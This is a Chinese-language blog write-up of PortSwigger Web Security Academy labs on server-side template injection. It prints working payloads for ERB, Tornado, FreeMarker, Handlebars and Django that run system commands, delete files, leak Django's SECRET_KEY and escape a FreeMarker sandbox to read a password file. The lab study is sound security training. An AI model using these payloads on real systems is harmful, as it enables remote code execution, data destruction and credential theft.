Portswigger web security academy:Server-side template injection(SSTI)

Portswigger web security academy:Server-side template injection(SSTI)

Basic server-side template injection

  • 题目要求:

    这道题要删除morale.txt

    ERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术。

  • 解题步骤:

    进来看都是商品,点了第一个,提示卖完了,然后看到url里有可控参数message,于是查了一下ERB的用法,打了个<%= 2*2 %>,回显4,说明这里存在ssti

    去查了ruby进行系统命令执行的方法 exec 'command',然后ls

    发现morale.txt就在该目录下

    <%= exec 'rm morale.txt' %>

  • 参考:

    https://www.trustedsec.com/blog/rubyerb-template-injection/

Basic server-side template injection (code context)

  • 题目要求:

    这是一个Tornado框架下的ssti,要求还是删除morale.txt

  • 解题步骤:

    题目给了提示,要注意preferred name功能点,我用burp抓包改了半天也不见回显( 我以为回显点在邮箱角的id处),然后去blog列表看了看,看到了评论功能,随手评论了一下

    有回显了,接下来就用repeater改参数,然后看评论

    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}

    发现morale.txt就在当前目录下

    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('rm morale.txt').read() }}

    删除,然后刷新页面,pass

  • 参考:

    https://www.cnblogs.com/R3col/p/12746485.html

    (这里有个小插曲,我用这篇博客里的命令执行payload会提示“dict 没有属性 linecache”,于是改成了['xxx']形式)

Server-side template injection using documentation

  • 题目要求:

    要求还是一样,删除morale.txt

  • 解题步骤:

    这是个管理员账号,可以修改template,随便点一个商品,然后修改模板

    说明这里存在ssti

    然后在${}里随便输点内容,有报错,发现是freemarker,查了资料,打了个payload

    <#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}

    有效,直接删除文件

    <#assign test="freemarker.template.utility.Execute"?new()> ${test("rm morale.txt")}

  • 参考:

    https://blog.csdn.net/weixin_33967071/article/details/89831707

Server-side template injection in an unknown language with a documented exploit

  • 题目要求:

    还是一样,删除morale.txt

  • 解题步骤:

    先点一个商品,发现和前边做过的题一样,会提示已售空,提示信息在url中,可控,尝试{{4*4}}

    发现是Node.js+Handlebars模板引擎

    搜了一下Handlebars server-side template injection,看到一篇介绍,里面跳到了一篇关于HandlebarsSSTI导致RCE的文章,根据介绍和文章,构造payload:

    {{#with "s" as |string|}}
      {{#with "e"}}
        {{#with split as |conslist|}}
          {{this.pop}}
          {{this.push (lookup string.sub "constructor")}}
          {{this.pop}}
          {{#with string.split as |codelist|}}
            {{this.pop}}
            {{this.push "return require('child_process').exec('rm morale.txt');"}}
            {{this.pop}}
            {{#each conslist}}
              {{#with (string.sub.apply 0 codelist)}}
                {{this}}
              {{/with}}
            {{/each}}
          {{/with}}
        {{/with}}
      {{/with}}
    {{/with}}
    

    URLencode一下就可以了

Server-side template injection with information disclosure via user-supplied objects

  • 题目要求:

    要获取secret key

  • 解题步骤:

    先进入模板编辑页面,打个payload

    从提示信息可以看出是django框架,根据题目的提示,思路就有了通过某种方式找到django默认应用admin的model,再通过这个model获取settings对象,进而获得secret_key

    因为之前接触过django和tornado,稍微了解一些,尝试了一下{{ settings.SECRET_KEY}},成功拿到SECRET_KEY

Server-side template injection in a sandboxed environment

  • 题目描述

    这道题使用了Freemarker模板引擎,因为沙盒的实现很糟糕,所以存在ssti漏洞

    要求逃逸沙河并读取my_password.txt

  • 解题步骤

    google了一大圈,没有找到相关度很高的文章,先看看官方solution吧

    ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
    

    还是一样的思路,通过可调用对象来获取所有类,然后根据需求层层调用方法。

    返回的是ascii值,写个脚本解一下就行

    s = ''
    s = s.split(' ')
    for x in s:
        print(chr(int(x)), end='')
    

很多ssti的题目都是这种感觉,思路是有的,但是缺乏寻找目标函数的高效方法。感觉最高效的就是看相关的安全文章和报告,因为官方文档中很少会介绍这些安全相关的函数用法。

posted @ 2020-06-01 18:05  R3col  阅读(400)  评论(0编辑  收藏  举报